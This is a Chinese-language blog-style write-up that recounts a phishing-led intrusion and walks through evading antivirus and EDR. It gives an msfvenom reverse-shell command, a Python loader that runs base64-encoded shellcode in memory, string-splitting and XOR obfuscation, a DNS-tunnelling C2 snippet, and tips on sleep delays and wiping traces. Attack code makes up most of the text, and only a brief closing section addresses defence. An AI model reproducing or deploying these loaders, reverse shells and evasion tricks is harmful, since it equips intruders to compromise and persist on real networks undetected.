一、一次成功绕过 EDR 的渗透故事

有一次,我接到一个任务,目标是某知名互联网公司的一台开发服务器。该服务器部署了多层防护,包括主流的 EDR(终端检测响应系统)和领先的杀毒软件。通过社工手段,我获得了目标开发人员的一些信息,并成功发送了一份伪造的更新脚本邮件。

然而,目标机器的防护非常严密,我的初始载荷虽然执行了,但很快被发现并阻止了。于是开始了我深入研究恶意载荷免杀的过程。最终,我通过巧妙的混淆技术、内存加载方法以及 C2 流量伪装,成功实现了横向移动并获取了域管理员权限。这篇文章就是对这次渗透的完整技术复盘。

二、避开传统扫描:载荷免杀的核心目标

现代的杀毒软件和 EDR 系统对恶意载荷的检测已经远超传统的基于签名匹配方式。它们能够通过以下方式进行检测:

  • 行为分析:通过分析载荷执行的行为流来判断是否恶意,例如是否调用敏感 API(VirtualAlloc 等)。
  • 内存扫描:对执行中的进程进行内存扫描,检测可疑代码块。
  • 流量分析:观察载荷与外部 C2 服务器交互时的网络流量特征。

我们要破解这些检测机制,必须从以下几个方向着手:

  1. 代码混淆:让静态分析工具无法识别载荷的意图。
  2. 内存加载:避免恶意代码直接落地到磁盘。
  3. 流量伪装:隐藏 C2 通信的真实流量特征。
  4. 行为伪装:尽量模仿正常程序的行为。

接下来,我将带你逐步拆解这些技术,并提供完整的代码示例。

黑客示意图

三、构造无痕迹的恶意载荷

1. 初始载荷的构造方法

我们选择生成一个恶意载荷(反向 shell),使用 Metasploit 的 msfvenom 工具生成标准的 exe 文件。以下是基本生成方法:

<pre><code class="language-bash">msfvenom -p windows/meterpreter/reverse_tcp LHOST=&lt;你的IP&gt; LPORT=&lt;端口&gt; -f exe &gt; shell.exe</code></pre>

但这种直接生成的载荷几乎无法逃过杀毒软件的检测。为了绕过,我们可以使用 Python 自行构造载荷,直接加载 shellcode 到内存中。

2. Python 构造内存加载载荷

以下是一个完整的 Python 脚本示例,它通过直接加载 shellcode 到内存中执行:

<pre><code class="language-python">import ctypes import base64

黑客示意图

base64 编码的 shellcode,避免直接暴露

shellcode = b&quot;BASE64_ENCODED_SHELLCODE_HERE&quot;

解码 shellcode

decoded_shellcode = base64.b64decode(shellcode)

分配内存,并写入 shellcode

shellcode_buffer = ctypes.create_string_buffer(decoded_shellcode) shellcode_ptr = ctypes.cast(shellcode_buffer, ctypes.c_void_p)

黑客示意图

设置内存可执行权限

ctypes.windll.kernel32.VirtualProtect(shellcode_ptr, len(decoded_shellcode), 0x40, ctypes.byref(ctypes.c_ulong(0)))

执行 shellcode

ctypes.windll.kernel32.CreateThread(0, 0, shellcode_ptr, 0, 0, ctypes.byref(ctypes.c_ulong(0)))</code></pre>

这段代码的关键点在于:

  • 使用 CreateThread 直接在内存中执行 shellcode,避免落地到磁盘。
  • 使用 base64 编码隐藏载荷内容,进一步降低静态分析的可能性。

四、混淆代码:隐藏载荷意图

1. 简单的字符串分割混淆

我们可以使用分割字符串的方法,将 base64 编码的 shellcode分散存储,并在运行时动态拼接:

<pre><code class="language-python"># 分割后的 shellcode shellcode_parts = [ &quot;BASE64_PART1&quot;, &quot;BASE64_PART2&quot;, &quot;BASE64_PART3&quot; ]

动态拼接

shellcode = &quot;&quot;.join(shellcode_parts).encode() decoded_shellcode = base64.b64decode(shellcode)</code></pre>

这种方法虽然简单,但对于基础的静态分析工具已经足够有效。

2. 动态解密技术

更进一步,我们可以对 shellcode 使用简单的加密算法,在运行时解密。以下是一个 XOR 加密示例:

<pre><code class="language-python">def xor_encrypt(data, key): return bytearray([b ^ key for b in data])

加密 shellcode

key = 0x55 encrypted_shellcode = xor_encrypt(decoded_shellcode, key)

解密 shellcode

decrypted_shellcode = xor_encrypt(encrypted_shellcode, key)</code></pre>

XOR 加密虽然并不复杂,但能让绝大多数杀毒软件的静态扫描工具束手无策。

五、避开 EDR:行为伪装与流量对抗

1. 模拟正常行为

载荷执行时,我们可以模仿正常程序的行为,避免调用敏感 API,例如:

  • 使用 CreateThread 替代 NtCreateThreadEx
  • 在执行之前,通过 Sleep 延迟触发,以绕过行为分析的短时间判定。

2. 隐藏 C2 通信

传统的 C2 通信常用 HTTP 或 HTTPS,但这些容易被流量监控发现。我们可以伪装成常见软件的流量模式,例如 DNS 查询:

<pre><code class="language-python">import socket

def dns_tunnel(domain):

随机生成子域名

subdomain = &quot;malicious_payload_123&quot; full_domain = f&quot;{subdomain}.{domain}&quot;

发送 DNS 查询

try: socket.gethostbyname(full_domain) except socket.error: pass</code></pre>

将恶意指令嵌入到 DNS 查询的子域名中,可以有效绕过流量检测。

六、个人经验分享与注意点

1. 不要过度依赖工具 很多人喜欢直接使用现成的工具,比如 Cobalt Strike 的 Beacon 或 Metasploit 的 Meterpreter,但这些工具因为太过流行,已经成为杀毒软件和 EDR 的重点防御对象。自己动手构造载荷,才能真正实现免杀。

2. 多层次免杀 单一的免杀技术远远不够,必须结合代码混淆、行为伪装、内存加载、流量隐藏等多种手段,才能真的绕过强大的防护体系。

3. 小心痕迹清除 免杀只是第一步,在执行完目标之后,要注意清除攻击痕迹,包括临时文件、注册表修改记录以及可疑的内存数据。

七、检测与防御技术

作为防守方,可以采取以下手段:

  • 加强行为监控,通过更长时间的行为链分析找到可疑进程。
  • 加强内存扫描技术,尤其对动态加载的模块进行深度分析。
  • 监控 C2 流量,发现异常域名查询和加密通信模式。

同时也要定期更新安全规则,防止攻击者的免杀技术对企业网络造成威胁。